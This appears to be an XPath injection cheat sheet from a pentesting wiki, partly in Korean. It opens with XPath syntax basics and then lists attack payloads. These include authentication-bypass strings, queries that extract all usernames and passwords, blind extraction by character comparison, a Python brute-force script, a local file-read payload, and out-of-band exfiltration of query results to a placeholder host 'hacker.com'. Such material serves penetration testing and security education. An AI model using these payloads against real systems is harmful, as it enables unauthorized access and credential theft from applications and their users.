XPATH injection

Reading time: 8 minutes

Basic Syntax

XPath Injection으로 알려진 공격 기법은 사용자 입력을 기반으로 XPath (XML Path Language) 쿼리를 형성하여 XML 문서를 쿼리하거나 탐색하는 애플리케이션을 이용하는 데 사용됩니다.

Nodes Described

표현식은 XML 문서에서 다양한 노드를 선택하는 데 사용됩니다. 이러한 표현식과 그 설명은 아래에 요약되어 있습니다:

• nodename: "nodename"이라는 이름을 가진 모든 노드가 선택됩니다.
• /: 루트 노드에서 선택이 이루어집니다.
• //: 현재 노드에서 선택과 일치하는 노드가 문서 내 위치에 관계없이 선택됩니다.
• .: 현재 노드가 선택됩니다.
• ..: 현재 노드의 부모가 선택됩니다.
• @: 속성이 선택됩니다.

XPath Examples

경로 표현식과 그 결과의 예는 다음과 같습니다:

• bookstore: "bookstore"라는 이름을 가진 모든 노드가 선택됩니다.
• /bookstore: 루트 요소 bookstore가 선택됩니다. 슬래시 (/)로 시작하는 경로는 요소에 대한 절대 경로를 나타냅니다.
• bookstore/book: bookstore의 자식인 모든 book 요소가 선택됩니다.
• //book: 문서 내 모든 book 요소가 선택됩니다, 위치에 관계없이.
• bookstore//book: bookstore 요소의 자손인 모든 book 요소가 선택됩니다, bookstore 요소 아래의 위치에 관계없이.
• //@lang: lang이라는 이름을 가진 모든 속성이 선택됩니다.

Utilization of Predicates

선택을 세분화하기 위해 술어가 사용됩니다:

• /bookstore/book[1]: bookstore 요소의 첫 번째 book 요소 자식이 선택됩니다. IE 버전 5에서 9까지의 경우 첫 번째 노드를 [0]으로 인덱싱하는 우회 방법은 JavaScript를 통해 SelectionLanguage를 XPath로 설정하는 것입니다.
• /bookstore/book[last()]: bookstore 요소의 마지막 book 요소 자식이 선택됩니다.
• /bookstore/book[last()-1]: bookstore 요소의 마지막에서 두 번째 book 요소 자식이 선택됩니다.
• /bookstore/book[position()<3]: bookstore 요소의 첫 두 book 요소 자식이 선택됩니다.
• //title[@lang]: lang 속성이 있는 모든 title 요소가 선택됩니다.
• //title[@lang='en']: "lang" 속성 값이 "en"인 모든 title 요소가 선택됩니다.
• /bookstore/book[price>35.00]: 가격이 35.00보다 큰 bookstore의 모든 book 요소가 선택됩니다.
• /bookstore/book[price>35.00]/title: 가격이 35.00보다 큰 bookstore의 book 요소의 모든 title 요소가 선택됩니다.

Handling of Unknown Nodes

와일드카드는 알 수 없는 노드를 일치시키는 데 사용됩니다:

• *: 모든 요소 노드와 일치합니다.
• @*: 모든 속성 노드와 일치합니다.
• node(): 모든 종류의 노드와 일치합니다.

추가 예는 다음과 같습니다:

• /bookstore/*: bookstore 요소의 모든 자식 요소 노드가 선택됩니다.
• //*: 문서 내 모든 요소가 선택됩니다.
• //title[@*]: 적어도 하나의 속성이 있는 모든 title 요소가 선택됩니다.

Example

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

정보를 액세스하다

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

스키마 식별 및 탈취

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

인증 우회

쿼리 예시:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

사용자 및 비밀번호에서 OR 우회 (두 값이 동일함)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

널 주입 악용

Username: ' or 1]%00

사용자 이름 또는 비밀번호에서 Double OR (취약한 필드가 1개만 있어도 유효함)

중요: "and"가 첫 번째로 수행되는 연산임을 주의하세요.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

문자열 추출

출력에는 문자열이 포함되어 있으며 사용자는 값을 조작하여 검색할 수 있습니다:

/user/username[contains(., '+VALUE+')]

') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

블라인드 익스플로잇

값의 길이를 가져오고 비교를 통해 추출하기:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

파이썬 예제

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

파일 읽기

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB 익스플로잇

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

자동 도구

• xcat
• xxxpwn
• xxxpwn_smart
• xpath-blind-explorer
• XmlChor

참고 문헌

• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection
• https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)
• https://www.w3schools.com/xml/xpath_syntax.asp